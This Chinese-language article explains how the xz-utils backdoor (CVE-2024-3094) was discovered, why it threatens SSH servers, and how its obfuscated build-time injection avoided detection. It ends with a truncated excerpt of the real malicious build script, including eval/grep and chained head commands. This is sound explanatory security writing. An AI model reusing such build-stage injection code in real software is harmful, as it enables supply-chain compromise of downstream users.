2024年3月31日,一个被指定为CVE-2024-3094的安全漏洞在xz-utils中震惊了安全界。这个案例特别引人注目的是,这个漏洞并非由作者无意中引入,而是漏洞作者经过深思熟虑的努力结果,该作者秘密潜入开源社区三年后,才将后门植入代码库中。
xz一直以其高压缩比而闻名,现在它又有了一个新故事。
漏洞的发现是偶然的。
在三月的一个普通日子里,PostgreSQL开发者Andres Freund坐在电脑前,准备进行微基准测试以优化数据库性能。然而,他的计划很快被一个意外现象打断——他电脑上的sshd进程异常消耗大量CPU资源。尽管所有SSH尝试都因错误的用户名而立即失败,但sshd进程仍然显示出过度的活动。这一观察引发了开发者的疑问:为什么SSH会消耗如此高的CPU使用率?
出于好奇,他开始了彻底的调查。他使用性能分析工具perf对sshd进程进行分析,试图找出CPU消耗的具体原因。然而,perf将活动追踪到了liblzma,但无法将高CPU使用率归因于任何已知的符号。这使得开发者怀疑存在一些未知的问题。
他回想起几周前PostgreSQL自动化测试后的一个奇怪的valgrind报告。在一次常规的软件包更新后,valgrind报告了异常,使他怀疑问题可能源于更新的软件包本身。他的注意力转向了一个最近更新的软件包——xz压缩工具,其liblzma库被PostgreSQL用于数据压缩任务,并被许多其他软件系统广泛采用。
开发者开始仔细审查liblzma的源代码和最近的提交历史。通过一系列复杂的代码审查,他识别出了不寻常的提交,特别是在此期间来自一个名为JiaT75的账户的提交。最终,这被确认为一个混淆的、故意植入的后门。
这个后门为什么重要?
xz是一个基础软件和库,被开源社区广泛引用。像ssh、docker、tar等应用程序可能直接或间接依赖于liblzma。这一发现特别由异常的ssh行为触发。如果攻击者设计出复杂的利用方法,他们可能无需SSH密码或密钥就能在远程ssh服务器上执行任意命令,这具有很高的影响力。
为什么这个后门之前没有被检测到?
将可疑代码混合到合法提交中:攻击者在看似正常的代码提交中嵌入后门。例如,JiaT75向libarchive提交的代码表面上增加了错误消息,但实际上替换了安全功能,可能引入了漏洞。这种微妙的修改很容易被忽视。
针对性的隐蔽性和特异性:后门的激活需要非常具体的条件——它只在用gcc和GNU链接器在x86-64 Linux系统上构建Debian/RPM软件包时触发。这种特异性防止了在不匹配的环境中检测到,而构建时注入(而不是直接代码插入)进一步复杂了发现过程。
技术复杂性:后门采用了复杂的混淆技术,在构建过程中恶意脚本注入。例如,使用sed和tr命令转换文件,最终执行复杂的head命令序列——所有这些都很难直接观察到。
####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev
返回列表